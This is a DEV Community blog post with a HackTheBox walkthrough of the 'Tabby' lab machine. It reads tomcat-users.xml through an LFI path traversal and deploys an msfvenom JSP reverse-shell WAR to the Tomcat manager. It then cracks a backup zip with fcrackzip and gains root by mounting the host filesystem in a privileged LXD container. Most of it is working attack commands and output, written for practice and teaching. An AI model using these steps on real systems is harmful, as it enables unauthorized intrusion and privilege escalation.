DEV Community

Cover image for Tabby - HackTheBox

Tabby - HackTheBox

bascoe10 profile image Abass Sesay ・9 min read


Foothold for this box involved LFI coupled with Tomcat Manger App exploit. Once on the box, gaining User access requires enumeration, enumeration, enumeration. Gaining root require exploit a legitimate application, LXC.


Nmap to the rescue for recon. This will give us an idea of the potential attack vectors.
22/tcp    open   ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp    open   http    Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 338ABBB5EA8D80B9869555ECA253D49D
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp  open   http    Apache Tomcat
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
12712/tcp closed unknown
26817/tcp closed unknown
27436/tcp closed unknown
34408/tcp closed unknown
46483/tcp closed unknown
61123/tcp closed unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enter fullscreen mode Exit fullscreen mode

The 2 open http ports (80 & 8080), are the primary focus to gain initial foothold.

Hosted at port 80 is a PHP website offering hosting services.
Port 80

It is always a good practice to view the source of the page. From here you can see Local File Inclusion (LFI) is possible. You can try grabbing the file such as the "/etc/passwd". More on this later.

Alt Text

Navigating to the site hosted at port 8080, we see the welcome page shows that tomcat9 is installed and also provides links to Tomcat manager app. This app is the route to getting initial foothold but you will need valid credentials.

Port 8080

With a valid credential, you can deploy a rogue app that would then give us access. As per the Tomcat documentation, the users that can access the manager application are in $CATALINA_BASE/conf/tomcat-users.xml. The goal now is to use the LFI from port 80 to grab the contents of the tomcat-users.xml. Using the $CATALINA_BASE dir listed on the webpage, you cannot get the users file. Searching around, you will find a file list for tomcat9. From this list you can see that the full directory of the user file is "/usr/share/tomcat9/etc/tomcat-users.xml". With the LFI on port 80, we can get the context of this file.

kali@kali:~/HTB/Tabby$ curl http://megahosting.htb/news.php?file=../../../../../../usr/share/tomcat9/etc/tomcat-users.xml
<?xml version="1.0" encoding="UTF-8"?>
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at
Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  See the License for the specific language governing permissions and
  limitations under the License.
<tomcat-users xmlns=""
              xsi:schemaLocation=" tomcat-users.xsd"
  NOTE:  By default, no user is included in the "manager-gui" role required
  to operate the "/manager/html" web application.  If you wish to use this app,
  you must define such a user - the username and password are arbitrary. It is
  strongly recommended that you do NOT use one of the users in the commented out
  section below since they are intended for use with the examples web
  NOTE:  The sample user and role entries below are intended for use with the
  examples web application. They are wrapped in a comment and thus are ignored
  when reading this file. If you wish to configure these users for use with the
  examples web application, do not forget to remove the <!.. ..> that surrounds
  them. You will also need to set the passwords to something appropriate.
  <role rolename="tomcat"/>
  <role rolename="role1"/>
  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>
   <role rolename="admin-gui"/>
   <role rolename="manager-script"/>
   <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
Enter fullscreen mode Exit fullscreen mode

As you can see the both the username and password for the manager app are in the user file.

Keep in mind that if you do this through the browser, you will get a blank page. You would have to view the content of the page to see the config file. This is because none of the tags are valid HTML tags.


Now that we have creds, the next step if to gain a foothold in the system. Going back to port 8080, we can log into the manager app with the username and password. The application will accept the credential for basic authentication, but it will show you a 403 error. This is because our user does not have the "manager-gui" role.

Alt Text

You can use the credential with curl to upload rogue application that will then give you a foothold. To generate the java war file that will be deployed on the server, you can leverage msfvenom or write one. I went with the former.

kali@kali:~/HTB/Tabby$ msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=1337 -f war > revshell.war
Payload size: 1089 bytes
Final size of war file: 1089 bytes
This file can now be deployed and be accessed at a specified endpoint (/foo).
kali@kali:~/HTB/Tabby$ pass="\$3cureP4s5w0rd123!"
kali@kali:~/HTB/Tabby$ curl -v -u tomcat:$pass --upload-file revshell.war ""
*   Trying
* Connected to ( port 8080 (#0)
* Server auth using Basic with user 'tomcat'
> PUT /manager/text/deploy?path=/foo&update=true HTTP/1.1
> Host:
> Authorization: Basic dG9tY2F0OiQzY3VyZVA0czV3MHJkMTIzIQ==
> User-Agent: curl/7.72.0
> Accept: */*
> Content-Length: 1089
> Expect: 100-continue
* Mark bundle as not supporting multiuse
< HTTP/1.1 100 
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 
< Cache-Control: private
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< X-Content-Type-Options: nosniff
< Content-Type: text/plain;charset=utf-8
< Transfer-Encoding: chunked
< Date: Thu, 05 Nov 2020 05:08:56 GMT
OK - Deployed application at context path [/foo]
* Connection #0 to host left intact
Enter fullscreen mode Exit fullscreen mode

Now all you have to do is navigate to "" to start a reverse shell.

kali@kali:~/HTB/Tabby$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [] from (UNKNOWN) [] 60742
python3 -c "import pty;pty.spawn('/bin/bash')"
tomcat@tabby:/var/lib/tomcat9$ ^Z
[1]+  Stopped                 nc -lvnp 1337
kali@kali:~/HTB/Tabby$ stty raw -echo
kali@kali:~/HTB/Tabby$ nc -lvnp 1337
tomcat@tabby:/var/lib/tomcat9$ export TERM=xterm
Enter fullscreen mode Exit fullscreen mode

Do the following to improve your shell experience and get a fully interactive TTY.

{In remote shell}
python3 -c "import pty;pty.spawn('/bin/bash')"

{In local shell}
stty raw -echo
fg [enter] [enter]

{In remote shell}
export TERM=xterm
Enter fullscreen mode Exit fullscreen mode

User Exploit

Running Linpeas, you see that the user on the box; ash, has a password protected backup zip file.

[+] Backup files?
-rw-r--r-- 1 ash ash 8716 Jun 16 13:42 /var/www/html/files/                                                                                                                                                             
-rw-r--r-- 1 root root 2743 Apr 23  2020 /etc/apt/sources.list.curtin.old
Enter fullscreen mode Exit fullscreen mode

You can use the tool fcrackzip to recover the password

kali@kali:~/HTB/Tabby$ fcrackzip -D -p /usr/share/wordlists/rockyou.txt
possible pw found: admin@it ()
Enter fullscreen mode Exit fullscreen mode

There is not much to the zip file, but you can use this password to pivot to the user ash and get the user flag.

tomcat@tabby:/tmp$ su ash
ash@tabby:~$ ls -al
total 28
drwxr-x--- 3 ash  ash  4096 Jun 16 13:59 .
drwxr-xr-x 3 root root 4096 Jun 16 13:32 ..
lrwxrwxrwx 1 root root    9 May 21 20:32 .bash_history -> /dev/null
-rw-r----- 1 ash  ash   220 Feb 25  2020 .bash_logout
-rw-r----- 1 ash  ash  3771 Feb 25  2020 .bashrc
drwx------ 2 ash  ash  4096 May 19 11:48 .cache
-rw-r----- 1 ash  ash   807 Feb 25  2020 .profile
-rw-r----- 1 ash  ash     0 May 19 11:48 .sudo_as_admin_successful
-rw-r----- 1 ash  ash    33 Nov  5 05:41 user.txt
ash@tabby:~$ wc -l user.txt 
1 user.txt
ash@tabby:~$ wc user.txt 
 1  1 33 user.txt
Enter fullscreen mode Exit fullscreen mode

More Reconnaissance

Moving on to root privesc, more recon is needed. Again, from Linpeas results, you can see that the user ash is part of the lxd group. The provides a path to escalate to root. LXC is a lightweight virtualization technology and LXD is the corresponding hypervisor.

[+] All users & groups
uid=0(root) gid=0(root) groups=0(root)                                                                                                                                                                                                     
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)                                                                                                                                                 
uid=100(systemd-network) gid=102(systemd-network) groups=102(systemd-network)
uid=101(systemd-resolve) gid=103(systemd-resolve) groups=103(systemd-resolve)
uid=102(systemd-timesync) gid=104(systemd-timesync) groups=104(systemd-timesync)
Enter fullscreen mode Exit fullscreen mode

A member of the group escalate to root easily because LXD is a root process that carries out action on behalf of the user. You can find a much detailed explanation here.

Root Exploit

The gist of what needs to get done is as follows :

  • Download and build the latest alpine container from github. You will need to do this on your local system.
git clone
cd lxd-alpine-builder
Enter fullscreen mode Exit fullscreen mode
  • When the build completes, transfer the tar file generated to the victim machine (assuming you are running a webserver at port 8000)
ash@tabby:~$ wget
--2020-11-05 07:11:27--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 3183908 (3.0M) [application/gzip]
Saving to: 'alpine-v3.12-x86_64-20200823_2337.tar.gz'
alpine-v3.12-x86_64 100%[===================>]   3.04M  1.57MB/s    in 1.9s
2020-11-05 07:11:29 (1.57 MB/s) - 'alpine-v3.12-x86_64-20200823_2337.tar.gz' saved [3183908/3183908]
Enter fullscreen mode Exit fullscreen mode
  • Import this image on the victim machine and then initialize lxd and lxc.
ash@tabby:~$ lxc image import ./alpine-v3.12-x86_64-20200823_2337.tar.gz --alias bas
ash@tabby:~$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]: 
Do you want to configure a new storage pool? (yes/no) [default=yes]: 
Name of the new storage pool [default=default]: 
Name of the storage backend to use (dir, lvm, ceph, btrfs) [default=btrfs]: 
Create a new BTRFS pool? (yes/no) [default=yes]: 
Would you like to use an existing block device? (yes/no) [default=no]: 
Size in GB of the new loop device (1GB minimum) [default=15GB]: 
Would you like to connect to a MAAS server? (yes/no) [default=no]: 
Would you like to create a new local network bridge? (yes/no) [default=yes]: 
What should the new bridge be called? [default=lxdbr0]: 
What IPv4 address should be used? (CIDR subnet notation, "auto" or "none") [default=auto]: 
What IPv6 address should be used? (CIDR subnet notation, "auto" or "none") [default=auto]: 
Would you like LXD to be available over the network? (yes/no) [default=no]: 
Would you like stale cached images to be updated automatically? (yes/no) [default=yes] 
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]: 
ash@tabby:~$ lxc init bas privs -c security.privileged=true
Creating privs
Enter fullscreen mode Exit fullscreen mode
  • Mount the root directory inside the container
ash@tabby:~$ lxc config device add privs mydevice disk source=/ path=/mnt/root recursive=true
With the whole setup completed, now you can start a shell in the container. From here on you then navigate to the mount point "/mnt/root".
ash@tabby:~$ lxc start privs
ash@tabby:~$ lxc exec privs /bin/sh
~ # id
uid=0(root) gid=0(root)
~ # cd /mnt/root
/mnt/root # ls
bin         home        lost+found  root        swap.img
boot        lib         media       run         sys
cdrom       lib32       mnt         sbin        tmp
dev         lib64       opt         snap        usr
etc         libx32      proc        srv         var
/mnt/root # cd root/
/mnt/root/root # ls
root.txt  snap
/mnt/root/root #
Enter fullscreen mode Exit fullscreen mode

We can now get the root flag from the context of the lxc container.


Editor guide